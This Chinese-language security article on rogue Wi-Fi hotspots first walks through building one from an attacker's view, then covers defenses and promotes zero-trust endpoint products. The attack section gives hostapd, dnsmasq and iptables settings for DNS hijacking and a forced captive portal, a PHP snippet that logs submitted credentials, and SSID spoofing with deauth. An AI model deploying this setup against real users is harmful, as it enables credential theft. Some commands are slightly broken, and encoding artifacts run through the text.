無(wú)線釣魚是一個(gè)廣受關(guān)注但難以根治的熱點(diǎn)安全話題。本文中,我將以攻擊者視角揭露無(wú)線釣魚攻擊的技術(shù)原理,包括DNS劫持、Captive Portal、JS緩存投毒等有趣的攻擊利用。隨后將探討企業(yè)該如何幫助員工應(yīng)對(duì)無(wú)線釣魚攻擊。企業(yè)內(nèi)做釣魚熱點(diǎn)防護(hù)就夠了嗎?如何進(jìn)行有效的無(wú)線安全意識(shí)培訓(xùn)?使用VPN就能抗住所有攻擊?員工在非信任無(wú)線網(wǎng)絡(luò)中進(jìn)行遠(yuǎn)程辦公是不可避免的安全挑戰(zhàn),零信任產(chǎn)品帶來(lái)了更多的解決思路。
1.無(wú)線釣魚的背景
2019年,我在前公司時(shí)配合湖南衛(wèi)視《新聞大求真》欄目組共同制作了一期關(guān)于公共無(wú)線熱點(diǎn)安全性的節(jié)目,曾直觀地呈現(xiàn)了公共無(wú)線熱點(diǎn)的危險(xiǎn)性。
從無(wú)線網(wǎng)絡(luò)接入者的角度來(lái)看,其安全性完全取決于無(wú)線網(wǎng)絡(luò)搭建者的身份。受到各種客觀因素的限制,很多數(shù)據(jù)在無(wú)線網(wǎng)絡(luò)上傳輸時(shí)都是明文的,如一般的網(wǎng)頁(yè)、圖片等;還有很多網(wǎng)站或郵件系統(tǒng)甚至在手機(jī)用戶進(jìn)行登錄時(shí),將賬號(hào)和密碼也進(jìn)行了明文傳輸或只是簡(jiǎn)單加密傳輸。
因此,一旦有手機(jī)接入攻擊者架設(shè)的釣魚熱點(diǎn),通過該網(wǎng)絡(luò)傳輸?shù)母鞣N信息(包括賬號(hào)和密碼等)就有可能被攻擊者所截獲。
1.1 Wi-Fi綿羊墻
很長(zhǎng)時(shí)間中,無(wú)線網(wǎng)絡(luò)的安全風(fēng)險(xiǎn)一直未被公眾所熟知。2015年的央視3·15晚會(huì)“釣魚熱點(diǎn)”環(huán)節(jié)的演示,才第一次讓國(guó)內(nèi)較為廣大的群體對(duì)此有了直觀認(rèn)識(shí)。
在晚會(huì)現(xiàn)場(chǎng),觀眾加入主辦方指定的一個(gè)Wi-Fi 網(wǎng)絡(luò)后,用戶手機(jī)上正在使用哪些軟件、用戶通過微信朋友圈瀏覽的照片等信息就都被顯示在了大屏幕上。不僅如此,現(xiàn)場(chǎng)大屏幕上還展示了很多用戶的電子郵箱信息。
特別值得一提的是,主持人在采訪一位郵箱密碼被展示出來(lái)的現(xiàn)場(chǎng)觀眾時(shí),這位觀眾明確表示,到現(xiàn)場(chǎng)以后并沒有登錄電子郵箱。造成這種情況的原因是該用戶所使用的電子郵箱軟件在手機(jī)接入無(wú)線網(wǎng)絡(luò)后,自動(dòng)聯(lián)網(wǎng)進(jìn)行了數(shù)據(jù)更新,而在更新過程中,郵箱的賬號(hào)和密碼都被進(jìn)行了明文傳輸。這個(gè)現(xiàn)場(chǎng)實(shí)驗(yàn)告訴我們:攻擊者通過釣魚熱點(diǎn)盜取用戶個(gè)人信息,用戶往往是完全感覺不到的。
這個(gè)演示環(huán)節(jié)的靈感其實(shí)是來(lái)源于DEFCON 黑客大會(huì) Wireless Village 上有名的綿羊墻(The Wall of Sheep)。綿羊墻將收集的賬號(hào)和隱匿的密碼投影在影幕上,告訴人們:“你很可能隨時(shí)都被監(jiān)視。”同時(shí)也是為了讓那些參會(huì)者難堪——來(lái)參加黑客大會(huì)的人,自身也不注意安全。
1.2 真實(shí)案例
l用戶在釣魚熱點(diǎn)中進(jìn)行網(wǎng)購(gòu)導(dǎo)致密碼泄漏,被盜刷2000元。
l咖啡店無(wú)線網(wǎng)絡(luò)被植入惡意代碼,利用用戶設(shè)備挖掘門羅幣。
l騰訊內(nèi)網(wǎng)有員工反饋在地鐵站中自動(dòng)連上偽造的公司熱點(diǎn)“XXXXWiFi”,被迫瀏覽“反宣文案”。2.無(wú)線釣魚底層原理探析
本節(jié)將通過搭建一個(gè)無(wú)線釣魚熱點(diǎn),展示該攻擊方式的危害性、隱蔽性和低成本性。讀者將學(xué)習(xí)到構(gòu)造一個(gè)精密的無(wú)線釣魚網(wǎng)絡(luò)所涉及的所有實(shí)現(xiàn)原理,包括如何使用無(wú)線網(wǎng)卡創(chuàng)建熱點(diǎn)、如何吸引更多用戶連接熱點(diǎn)、如何嗅探網(wǎng)絡(luò)中的敏感信息、如何利用釣魚網(wǎng)頁(yè)獲取用戶敏感信息以及如何配置Captive Portal 強(qiáng)制用戶訪問釣魚界面。
需要注意的是,本節(jié)的實(shí)驗(yàn)需要無(wú)線網(wǎng)卡支持AP 模式才能建立熱點(diǎn),如Atheros AR9271、Atheros RTL8812等。
2.1創(chuàng)建無(wú)線熱點(diǎn)
hostapd是用于AP和認(rèn)證服務(wù)器的守護(hù)進(jìn)程,它實(shí)現(xiàn)了與IEEE 802.11相關(guān)的接入管理,支持IEEE 802.1X、WPA、WPA2、EAP、OPEN等認(rèn)證方式。首先,創(chuàng)建配置文件open.conf:
#open.conf
interface=wlan0
ssid=FreeWiFi
driver=nl80211
channel=1
hw_mode=g
其中interface 表示無(wú)線網(wǎng)卡接口名稱,ssid 表示熱點(diǎn)名稱,channel 表示信道,hw_mode 用于指定無(wú)線模式,g代表 IEEE 802.11g。讀者可根據(jù)實(shí)際情況做相應(yīng)修改。
除了創(chuàng)建接入點(diǎn)本身外,還需要配置DHCP 和 DNS 等基礎(chǔ)服務(wù)。 dnsmasq 是一款可同時(shí)提供 DNS 和 DHCP 服務(wù)功能、較易配置的輕量工具。其默認(rèn)配置文件為/etc/dnsmasq.conf,其中包含大量的注釋,用以說(shuō)明各項(xiàng)功能及配置方法。在默認(rèn)情況下,它會(huì)開啟 DNS 功能,同時(shí)加載系統(tǒng)/etc/resolv.conf 文件中的內(nèi)容作為上游 DNS 信息。只需要在配置文件中設(shè)置特定的 DHCP 地址池范圍和所服務(wù)的網(wǎng)絡(luò)接口即可。代碼如下:
#/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0
在運(yùn)行hostapd 創(chuàng)建熱點(diǎn)前,還需要使用幾條命令消除系統(tǒng)對(duì)網(wǎng)卡 AP 功能的限制,同時(shí)為網(wǎng)卡配置 IP 地址、掩碼等信息,最后才能啟動(dòng) hostapd 程序。命令如下:
nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
systemctl restart dnsmasq
hostapd open.conf
2.2 吸引用戶連接
將熱點(diǎn)名稱設(shè)置為Free WiFi 類似的字眼就能吸引許多蹭網(wǎng)的用戶主動(dòng)連接。除此外,攻擊者還有其他辦法讓手機(jī)等設(shè)備自動(dòng)連上熱點(diǎn),例如構(gòu)建一個(gè)用戶之前連過的熱點(diǎn)名稱(如CMCC、StarBucks 等),同樣為無(wú)加密的方式。當(dāng)無(wú)線設(shè)備搜索到該同名、同加密類型的歷史連接熱點(diǎn)(后文稱為已保存網(wǎng)絡(luò)列表)就會(huì)嘗試自動(dòng)連接。那么,是否可以通過某種方式獲取無(wú)線設(shè)備的已保存網(wǎng)絡(luò)列表信息呢?
無(wú)線設(shè)備為了加快連接速度,在執(zhí)行主動(dòng)掃描時(shí)會(huì)對(duì)外廣播曾經(jīng)連接過的無(wú)線熱點(diǎn)名稱。一旦攻擊者截獲這個(gè)廣播,自然就能知道用戶連過哪些熱點(diǎn),隨后把所有的無(wú)線熱點(diǎn)名稱偽造出來(lái)欺騙設(shè)備自動(dòng)連接。
2004 年,Dino dai Zovi 和 Shane Macaulay 兩位安全研究員發(fā)布了 Karma 工具。Karma 能夠收集客戶端主動(dòng)掃描時(shí)泄露的已保存網(wǎng)絡(luò)列表并偽造該名稱的無(wú)密碼熱點(diǎn),吸引客戶端自動(dòng)連接。
如上圖所示,一個(gè)客戶端發(fā)出了對(duì)兩個(gè)不同熱點(diǎn)名稱(Home 和 Work)的 Probe Request 請(qǐng)求, Karma 對(duì)包含這兩個(gè)熱點(diǎn)名稱的請(qǐng)求都進(jìn)行了回復(fù)。這實(shí)際上違反了 802.11 標(biāo)準(zhǔn)協(xié)議,無(wú)論客戶端請(qǐng)求任何 SSID,Karma 都會(huì)向其回復(fù)表示自己就是客戶端所請(qǐng)求的熱點(diǎn),使客戶端發(fā)起連接。
一款知名的無(wú)線安全審計(jì)設(shè)備——WiFi Pineapple(俗稱“大菠蘿”)便內(nèi)置了 Karma 攻擊的功能,由無(wú)線安全審計(jì)公司 Hak5 開發(fā)并售賣,從 2008 年起到目前已經(jīng)發(fā)布到第七代產(chǎn)品。
Hak5 公司的創(chuàng)始人 Darren Kitchen 曾在一次會(huì)議上發(fā)表了有關(guān)的安全演講。在現(xiàn)場(chǎng),他開啟Pineapple 進(jìn)行演示,在屏幕上展示了一份長(zhǎng)長(zhǎng)的設(shè)備清單,包含黑莓、iPhone、Android 和筆記本電腦等。這些設(shè)備自認(rèn)為連接到了賓館或星巴克的 Wi-Fi 熱點(diǎn),實(shí)際上它們都受到了 WiFi Pineapple 的欺騙而連接到其所創(chuàng)建的釣魚網(wǎng)絡(luò)。
不過在今天,Karma 攻擊已經(jīng)不太好使了。因?yàn)楦魇謾C(jī)廠商了解到 Directed Probe Request 會(huì)泄露已保存網(wǎng)絡(luò)列表信息,可能導(dǎo)致終端遭到釣魚攻擊,所以在較新版本的手機(jī)系統(tǒng)中都改變了主動(dòng)掃描的實(shí)現(xiàn)方式:主要是使用不帶 SSID 信息的 Broadcast Probe Request 取代會(huì)泄露信息的 Directed Probe Request,兩者的對(duì)比如下圖所示。
我們可以采取一些簡(jiǎn)單的策略吸引用戶連接:
l選擇一家提供免費(fèi)無(wú)線網(wǎng)絡(luò)、還提供電源和座位的咖啡館
l熱點(diǎn)名稱改為與店里的免費(fèi)熱點(diǎn)名稱一致
l同時(shí)發(fā)起deauth拒絕服務(wù)攻擊使周圍客戶端掉線觸發(fā)重連
如此就可以將周圍的無(wú)線客戶端吸引到我們的釣魚熱點(diǎn)上。
2.3 嗅探敏感信息
當(dāng)我們的設(shè)備能通過無(wú)線或有線的方式接入互聯(lián)網(wǎng)時(shí),為了使用戶設(shè)備上的軟件有更多網(wǎng)絡(luò)交互并獲取更多的信息,可以將釣魚網(wǎng)絡(luò)的流量轉(zhuǎn)發(fā)至擁有互聯(lián)網(wǎng)權(quán)限的網(wǎng)卡,從而使釣魚網(wǎng)絡(luò)也能連上外網(wǎng)??梢园凑障旅娴牟僮鞑襟E進(jìn)行。首先開啟IP 路由轉(zhuǎn)發(fā)功能:
sysctl -w net.ipv4.ip_forward=1
隨后還需設(shè)置iptables 規(guī)則,將來(lái)自釣魚網(wǎng)絡(luò)的數(shù)據(jù)包進(jìn)行 NAT(network address translation,網(wǎng)絡(luò)地址轉(zhuǎn)換)處理并轉(zhuǎn)發(fā)到外網(wǎng)出口。
iptables -t nat - POSTROUTING -o eth0 -j MASQUERADE
當(dāng)用戶連入網(wǎng)絡(luò)后,由于所有的網(wǎng)絡(luò)請(qǐng)求都將經(jīng)由我們的網(wǎng)卡進(jìn)行轉(zhuǎn)發(fā),所以可以使用Wireshark、 Tcpdump 等工具直接觀察經(jīng)過該無(wú)線網(wǎng)卡的所有流量。
Driftnet 是一款簡(jiǎn)單、實(shí)用的圖片捕獲工具,可以很方便地抓取網(wǎng)絡(luò)流量中的圖片。使用
driftnet -i wlan0
命令運(yùn)行Driftnet 程序,會(huì)在彈出的窗口中實(shí)時(shí)顯示用戶正在瀏覽的網(wǎng)頁(yè)中的圖片。
2.4 配置惡意DNS服務(wù)
很多時(shí)候,我們會(huì)面臨無(wú)外網(wǎng)的情況,用戶設(shè)備上的軟件由于無(wú)法與其服務(wù)器交互,大大減少了敏感信息暴露的機(jī)會(huì)。除了被動(dòng)嗅探流量中的信息外,還可以在本地部署釣魚網(wǎng)站來(lái)誘導(dǎo)用戶填入敏感信息。
無(wú)線客戶端連接網(wǎng)絡(luò)時(shí),通過DHCP 服務(wù)不僅能獲取到本地的 IP 地址,還包括 DHCP 服務(wù)指定的 DNS 服務(wù)地址。當(dāng)我們可以決定用戶的 DNS 解析結(jié)果時(shí),釣魚攻擊就可以達(dá)到比較完美的效果——界面和域名都與真實(shí)網(wǎng)址一致。在本節(jié)中,我們將學(xué)習(xí)如何操縱用戶的 DNS 解析結(jié)果,從而將用戶對(duì)任意網(wǎng)址的訪問解析到本地。
實(shí)驗(yàn)?zāi)康模嚎寺ww.google.cn 界面到本地,并使無(wú)線客戶端對(duì)指定網(wǎng)頁(yè)的訪問指向該克隆界面。
(1)打開網(wǎng)頁(yè) www.google.cn,通過把網(wǎng)頁(yè)“另存為”的方式,將代碼下載到本地。接著需要配置 Web 服務(wù)器,以 nginx 為例,打開配置文件/etc/nginx/sites-enable/default,輸入以下內(nèi)容:
server {
listen 80 default_server;
root /var/www/fakesite;
index index.html
location / {
try_files $uri $uri/ /index.html;
}
}
(2) 該配置文件指定本地 Web 服務(wù)監(jiān)聽 80 端口并以/var/www/fakesite 為根目錄,將下載的 HTML代碼放置到 Web 目錄中并重啟 nginx 服務(wù),隨后通過瀏覽器訪問 172.5.5.1 查看效果。隨后對(duì) DNS 服務(wù)進(jìn)行配置,同樣打開 dnsmasq 的配置文件/etc/dnsmasq.conf,以 address=/url/ip的格式寫入解析規(guī)則,表示將指定 URL 解析到指定 IP 地址。如果 url 處填寫為#,將解析所有的地址,隨后重啟 dnsmasq 服務(wù)。
#/etc/dnsmasq.conf
address=/#/172.5.5.1
systemctl restart nginx
systemctl restart dnsmasq
(3)通過手機(jī)連接該熱點(diǎn),對(duì)任意地址進(jìn)行訪問測(cè)試(如 baidu.com),如果配置無(wú)誤,將出現(xiàn)如圖所示的效果。
2.5 配置Captive Portal
Captive Portal 認(rèn)證通常被部署在公共無(wú)線網(wǎng)絡(luò)中,當(dāng)未認(rèn)證用戶連接時(shí),會(huì)強(qiáng)制用戶跳轉(zhuǎn)到指定界面。
在iOS、Android、Windows、Mac OS X 等系統(tǒng)中其實(shí)已經(jīng)包含了對(duì) Captive Portal 的檢測(cè),以 Android 系統(tǒng)為例,當(dāng)設(shè)備連入無(wú)線網(wǎng)絡(luò)時(shí)會(huì)嘗試請(qǐng)求訪問clients3.google. com/generate_204并根據(jù)返回結(jié)果來(lái)判斷網(wǎng)絡(luò)狀況。
l當(dāng)返回HTTP 204 時(shí),表示網(wǎng)絡(luò)正常;
l如果返回了HTTP 302 跳轉(zhuǎn),手機(jī)就會(huì)認(rèn)為該網(wǎng)絡(luò)存在網(wǎng)絡(luò)認(rèn)證,并以彈窗等方式顯示在手機(jī)中,如下圖所示的提示信息。
liOS、Windows 等系統(tǒng)也都采取類似的檢測(cè)邏輯。
單擊該提示就會(huì)直接打開認(rèn)證界面。顯然,一個(gè)熱點(diǎn)配置了Captive Portal 后會(huì)更顯得像是一個(gè)“正式”的熱點(diǎn),同時(shí)利用該特性能讓用戶直達(dá)釣魚界面。
我們使用iptables來(lái)轉(zhuǎn)換流量。iptables 是一種能完成封包過濾、重定向和網(wǎng)絡(luò)地址轉(zhuǎn)換(NAT)等功能的命令行工具。借助這個(gè)工具可以把用戶的安全設(shè)定規(guī)則執(zhí)行到底層安全框架 netfilter 中,起到防火墻的作用。
通過iptables 對(duì)來(lái)自無(wú)線網(wǎng)絡(luò)的流量進(jìn)行配置:
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 172.5.5.1:80
iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination 172.5.5.1:53
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination 172.5.5.1:53
在上述命令中,第1行表示將來(lái)自 NAT 網(wǎng)絡(luò)的對(duì) 80 端口的數(shù)據(jù)請(qǐng)求都指向 172.5.5.1 的 80 端口;第 2~3 行表示將來(lái)自 NAT 網(wǎng)絡(luò)的對(duì) 53 端口的 TCP、UDP 請(qǐng)求都指向 172.5.5.1的 53 端口。
接下來(lái)的任務(wù)是在本地啟動(dòng)HTTP服務(wù),并配置網(wǎng)頁(yè)信息及對(duì)相應(yīng)請(qǐng)求的 302跳轉(zhuǎn)等。同樣以nginx為例,打開/etc/nginx/sites-enabled/default 文件,修改為以下配置:
server {
listen 80 default_server;
root /var/www/html;
location / {
try_files $uri $uri/ /index.html;
}
location ~ \.php$ {
includesnippets/fastcgi-php.conf;
fastcgi_passunix:/var/run/php/php7.0-fpm.sock;
}
}
在上述配置中,會(huì)將/var/www/html 指定為 Web 根目錄,當(dāng)訪問不存在的路徑時(shí)都會(huì)被 302 跳轉(zhuǎn)到 index.html 文件。同時(shí)還開啟了對(duì) PHP 文件的解析,因?yàn)楹罄m(xù)會(huì)使用 PHP 程序來(lái)將用戶輸入的賬號(hào)保存到本地。
使用網(wǎng)絡(luò)上下載的Gmail釣魚模板,將提交賬號(hào)信息的form表單指向post.php。
#post.php
$file = 'log.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
最后,重啟nginx 及php 服務(wù)使配置生效,命令如下:
systemctl restart nginx
systemctl restart php7.0-fpm
使用手機(jī)連接該熱點(diǎn),會(huì)立即得到需要認(rèn)證的提示。打開提示后便出現(xiàn)了預(yù)設(shè)的釣魚界面??梢試L試在登錄框中輸入任意賬號(hào)密碼并單擊Sign in 按鈕進(jìn)行提交。
在Web 根目錄下,可以查看記錄了用戶輸入信息的log.txt 文件,內(nèi)容如下圖所示。
2.6 其他的利用案例
l在多屆Pwn2own比賽上,許多通過瀏覽器發(fā)起的攻擊都利用了Wi-Fi Captive Portal的特性來(lái)觸發(fā)瀏覽器漏洞。
l在2018年日本CodeBlue會(huì)議上,筆者和前同事展示了一個(gè)議題《RCE with Captive Portal)》,介紹了一種組合攻擊方法,利用無(wú)線網(wǎng)絡(luò)強(qiáng)制門戶的特性與Windows系統(tǒng)的一系列漏洞來(lái)達(dá)到遠(yuǎn)程代碼執(zhí)行的效果。
lJS緩存投毒
由于在釣魚熱點(diǎn)中可以劫持DNS服務(wù)器,加上企業(yè)內(nèi)網(wǎng)存在大量非https的網(wǎng)站現(xiàn)狀,攻擊者可以有針對(duì)性的將惡意JS文件緩存在受害者瀏覽器中,當(dāng)員工訪問內(nèi)網(wǎng)時(shí)惡意JS文件將會(huì)被喚醒執(zhí)行。
3.企業(yè)無(wú)線釣魚防護(hù)的窘境與突破
3.1普通用戶的應(yīng)對(duì)策略
前面的內(nèi)容以攻擊者的角度詳細(xì)討論了釣魚熱點(diǎn)的構(gòu)建方式及可能造成的危害,相信讀者已經(jīng)體會(huì)到這是一種低成本、高回報(bào)的攻擊方式。那么作為普通用戶,該如何避免遭到釣魚熱點(diǎn)的攻擊呢?可以遵循以下簡(jiǎn)單規(guī)則來(lái)保護(hù)個(gè)人數(shù)據(jù):
(1)對(duì)公共Wi-Fi網(wǎng)絡(luò)采取不信任的態(tài)度,盡量不連接沒有密碼保護(hù)的無(wú)線網(wǎng)絡(luò)。
(2)在使用公共熱點(diǎn)時(shí),盡量避免輸入社交網(wǎng)絡(luò)、郵件服務(wù)、網(wǎng)上銀行等登錄信息,避免使用網(wǎng)銀、支付寶等包含敏感信息的應(yīng)用軟件。
(3)在不使用Wi-Fi時(shí)關(guān)閉Wi-Fi功能,避免自動(dòng)連接功能帶來(lái)的風(fēng)險(xiǎn)。
(4)在有條件的情況下,使用虛擬專用網(wǎng)絡(luò)(VPN)連接,這將使用戶數(shù)據(jù)通過受保護(hù)的隧道傳輸。
3.2 企業(yè)無(wú)線釣魚防護(hù)的窘境
普通用戶的應(yīng)對(duì)策略都依靠用戶自身的安全意識(shí),實(shí)際上對(duì)于企業(yè)級(jí)用戶而言,要求每一位員工都擁有良好的無(wú)線安全意識(shí)且能在日常使用時(shí)做到,是很難達(dá)到的。當(dāng)然,企業(yè)也會(huì)采取其他一些防護(hù)措施以盡可能緩解無(wú)線安全威脅,但效果都不夠理想,常見以下三個(gè)話題:
l如何做有效的無(wú)線安全意識(shí)培訓(xùn)?
l部署WIPS產(chǎn)品阻斷惡意熱點(diǎn)能解決所有問題嗎?
lVPN能抗住所有攻擊嗎?
(1)無(wú)線安全意識(shí)培訓(xùn)
筆者在前公司安全團(tuán)隊(duì)曾策劃了一次針對(duì)公司內(nèi)部全體員工的RedTeam無(wú)線釣魚活動(dòng),通過精心設(shè)計(jì)“薅羊毛活動(dòng)”、精美的彩印宣傳單、釣魚網(wǎng)頁(yè)等素材,在約半小時(shí)內(nèi)誘導(dǎo)80位員工連入釣魚熱點(diǎn)并獲取他們的域賬號(hào)。下圖為前老板對(duì)該次無(wú)線釣魚演習(xí)的評(píng)論,以此督促全體員工加強(qiáng)對(duì)無(wú)線安全的重視。
事實(shí)上,在該活動(dòng)實(shí)施的前一個(gè)月正是內(nèi)部的“無(wú)線安全月”,在公司內(nèi)部通過大量的文字和宣傳冊(cè),以及參與活動(dòng)領(lǐng)獎(jiǎng)品的方法來(lái)告訴員工無(wú)線安全的重要性和注意事項(xiàng)。但實(shí)踐說(shuō)明,再多的安全播報(bào)、新聞稿可能抵不過一條薅羊毛信息。而對(duì)于參與到該釣魚活動(dòng)并中招的員工來(lái)說(shuō),可能他這輩子都能記住不要亂連Wi-Fi及核實(shí)消息來(lái)源。
(2)WIPS阻斷熱點(diǎn)
部分企業(yè)AP產(chǎn)品或單獨(dú)部署的WIPS產(chǎn)品(無(wú)線入侵防御系統(tǒng))帶有熱點(diǎn)阻斷功能,通過MAC地址黑白名單的策略來(lái)觸發(fā)自動(dòng)阻斷嫌疑熱點(diǎn),但從實(shí)際的運(yùn)營(yíng)中會(huì)發(fā)現(xiàn)會(huì)殘留以下問題:
l攻擊者可能偽造白名單熱點(diǎn)的MAC地址。
l對(duì)于非同名的釣魚熱點(diǎn),很難發(fā)現(xiàn)與監(jiān)管。
l防御范圍僅能實(shí)施在大廈內(nèi)。
因此,阻斷熱點(diǎn)的功能并不能解決所有的釣魚熱點(diǎn)問題。
(3)VPN
在Wi-Fi場(chǎng)景中,根據(jù)Captive Portal和VPN狀態(tài)可劃分出三個(gè)階段:
1.Captive Portal認(rèn)證前。
2.Captive Portal認(rèn)證后、VPN連接前。
3.VPN連接后。
大部分VPN產(chǎn)品僅能在第三階段提供流量加密和部分防護(hù)功能,而在第二節(jié)的內(nèi)容中我們已經(jīng)了解到了在VPN開啟前攻擊無(wú)線客戶端的多種手法,所以想單憑VPN的能力來(lái)防范所有的無(wú)線攻擊是不現(xiàn)實(shí)的。
3.3 企業(yè)無(wú)線釣魚防護(hù)的突破
在2020年疫情大背景下,全球企業(yè)都被迫加速員工移動(dòng)化辦公、遠(yuǎn)程辦公的實(shí)施進(jìn)程,這也再次帶動(dòng)了業(yè)界對(duì)網(wǎng)絡(luò)邊緣安全性的重點(diǎn)關(guān)注。
我在導(dǎo)讀中提到“員工在非信任無(wú)線網(wǎng)絡(luò)中進(jìn)行遠(yuǎn)程辦公是不可避免的安全挑戰(zhàn)”,在遠(yuǎn)程辦公這種脫離內(nèi)網(wǎng)的網(wǎng)絡(luò)條件下,無(wú)法采取網(wǎng)絡(luò)層面的入侵檢測(cè)等防護(hù)手段,唯一可實(shí)施切入的便是終端上的安全能力,但傳統(tǒng)的VPN產(chǎn)品和終端安全軟件產(chǎn)品在提供安全管控、身份管理、訪問準(zhǔn)入的能力上是各自為戰(zhàn)、相互割裂的狀態(tài),這就亟需一種有效的方式把這些能力聯(lián)合在一起,可以根據(jù)具體場(chǎng)景相互配合來(lái)為決策提供信息支撐。
在我加入騰訊,實(shí)際體驗(yàn)使用了內(nèi)部的iOA零信任產(chǎn)品后,發(fā)現(xiàn)在零信任網(wǎng)絡(luò)接入的框架下,員工終端設(shè)備需要具有終端檢測(cè)和防護(hù)等安全模塊,對(duì)每一個(gè)訪問企業(yè)資源的會(huì)話請(qǐng)求,都需要進(jìn)行用戶身份驗(yàn)證、設(shè)備安全狀態(tài)、軟件應(yīng)用安全狀態(tài)檢查和授權(quán),并進(jìn)行全鏈路加密。過程中的驗(yàn)證本質(zhì)上就是一系列的合規(guī)檢查,從邏輯上可劃分為四類:可信身份、可信終端、可信應(yīng)用、可信鏈路,如下圖所示。
針對(duì)我們?cè)诠矆?chǎng)所遠(yuǎn)程辦公的場(chǎng)景,新接入的設(shè)備需要統(tǒng)一安裝Agent,通過遠(yuǎn)程下發(fā)策略提供統(tǒng)一標(biāo)準(zhǔn)化的要求,其中就可以把對(duì)無(wú)線釣魚攻擊的檢測(cè)和防護(hù)作為安全準(zhǔn)入的合規(guī)條件,如下圖所示。
因此,我們?cè)俅位仡^看看前文提到的多種無(wú)線釣魚攻擊手段,可以發(fā)現(xiàn),以零信任理念構(gòu)建的終端安全產(chǎn)品可以做到防止員工連入釣魚熱點(diǎn),或即使連入了釣魚熱點(diǎn)也能受到保護(hù):
l偽造公司熱點(diǎn)無(wú)線釣魚攻擊——公司內(nèi)部真實(shí)無(wú)線熱點(diǎn)的數(shù)據(jù)我們是掌握的,因此當(dāng)用戶設(shè)備主動(dòng)或被動(dòng)連接開放式網(wǎng)絡(luò)時(shí),零信任終端安全產(chǎn)品可結(jié)合正在連接熱點(diǎn)的MAC地址及其他無(wú)線特征進(jìn)行WiFi接入點(diǎn)身份驗(yàn)證,驗(yàn)證失敗時(shí)拒絕訪問請(qǐng)求并警告用戶遭到無(wú)線釣魚攻擊。
lDNS劫持——當(dāng)設(shè)備通過DHCP服務(wù)獲取IP地址時(shí),也采取了該網(wǎng)絡(luò)指定的DNS地址。零信任終端安全產(chǎn)品可以對(duì)設(shè)備DNS狀態(tài)進(jìn)行合規(guī)性檢查,可以采取強(qiáng)制指定DNS服務(wù)地址的策略,或檢測(cè)該DNS服務(wù)對(duì)互聯(lián)網(wǎng)重點(diǎn)域名或公司相關(guān)域名的解析是否正常。驗(yàn)證失敗時(shí)拒絕訪問請(qǐng)求并幫助用戶修復(fù)異常DNS狀態(tài)。
lCaptive Portal安全加固——Captive Portal實(shí)現(xiàn)依賴于階段性的DNS劫持,如果一開始就修正DNS,可能導(dǎo)致用戶無(wú)法跳轉(zhuǎn)到認(rèn)證頁(yè)面完成認(rèn)證。因此,需要對(duì)Captive Portal進(jìn)行檢測(cè)并實(shí)施相應(yīng)的加固。在用戶完成網(wǎng)絡(luò)認(rèn)證后,再進(jìn)行DNS緩存清理和修正工作。
¡認(rèn)證網(wǎng)頁(yè)釣魚——攻擊者可能利用Captive Portal認(rèn)證頁(yè)面對(duì)員工進(jìn)行社工欺騙,獲取其敏感信息等。零信任終端安全產(chǎn)品可以對(duì)Captive Portal瀏覽器進(jìn)行安全加固,并加上醒目的安全提示,避免員工主動(dòng)輸入企業(yè)相關(guān)敏感信息。
¡Windows hash泄漏——零信任終端安全產(chǎn)品可以對(duì)此進(jìn)行安全加固,防止Windows hash被泄漏。
l局域網(wǎng)攻擊威脅——當(dāng)員工設(shè)備連入目標(biāo)無(wú)線網(wǎng)絡(luò)后,設(shè)備所開放的各種服務(wù)端口可能被局域網(wǎng)中的其他設(shè)備所利用或攻擊,零信任終端安全產(chǎn)品同樣具有傳統(tǒng)終端安全軟件的防護(hù)能力,以發(fā)現(xiàn)并阻斷來(lái)自網(wǎng)絡(luò)的攻擊。
l敏感信息監(jiān)聽威脅——攻擊者可在網(wǎng)關(guān)處監(jiān)聽到所有的明文流量,零信任終端安全產(chǎn)品通過開啟全鏈路加密來(lái)避免鏈路上的監(jiān)聽威脅。
通過對(duì)以上攻擊手段的逐一分析,可以發(fā)現(xiàn),零信任架構(gòu)下的終端安全產(chǎn)品可以在無(wú)線網(wǎng)絡(luò)接入的多個(gè)階段幫助設(shè)備緩解攻擊威脅。在對(duì)內(nèi)網(wǎng)服務(wù)發(fā)起訪問請(qǐng)求時(shí),可以對(duì)設(shè)備進(jìn)行多維度的安全合規(guī)驗(yàn)證,驗(yàn)證失敗時(shí)請(qǐng)求會(huì)被拒絕,告知用戶當(dāng)前異常狀態(tài)并幫助用戶進(jìn)行相應(yīng)清洗。當(dāng)驗(yàn)證通過后,會(huì)建立起全鏈路加密來(lái)保護(hù)所有網(wǎng)絡(luò)流量。
正因如此,筆者認(rèn)為零信任架構(gòu)可以很好的幫助企業(yè)解決無(wú)線釣魚攻擊等各類無(wú)線安全頑疾。
(免責(zé)聲明:本網(wǎng)站內(nèi)容主要來(lái)自原創(chuàng)、合作伙伴供稿和第三方自媒體作者投稿,凡在本網(wǎng)站出現(xiàn)的信息,均僅供參考。本網(wǎng)站將盡力確保所提供信息的準(zhǔn)確性及可靠性,但不保證有關(guān)資料的準(zhǔn)確性及可靠性,讀者在使用前請(qǐng)進(jìn)一步核實(shí),并對(duì)任何自主決定的行為負(fù)責(zé)。本網(wǎng)站對(duì)有關(guān)資料所引致的錯(cuò)誤、不確或遺漏,概不負(fù)任何法律責(zé)任。
任何單位或個(gè)人認(rèn)為本網(wǎng)站中的網(wǎng)頁(yè)或鏈接內(nèi)容可能涉嫌侵犯其知識(shí)產(chǎn)權(quán)或存在不實(shí)內(nèi)容時(shí),應(yīng)及時(shí)向本網(wǎng)站提出書面權(quán)利通知或不實(shí)情況說(shuō)明,并提供身份證明、權(quán)屬證明及詳細(xì)侵權(quán)或不實(shí)情況證明。本網(wǎng)站在收到上述法律文件后,將會(huì)依法盡快聯(lián)系相關(guān)文章源頭核實(shí),溝通刪除相關(guān)內(nèi)容或斷開相關(guān)鏈接。 )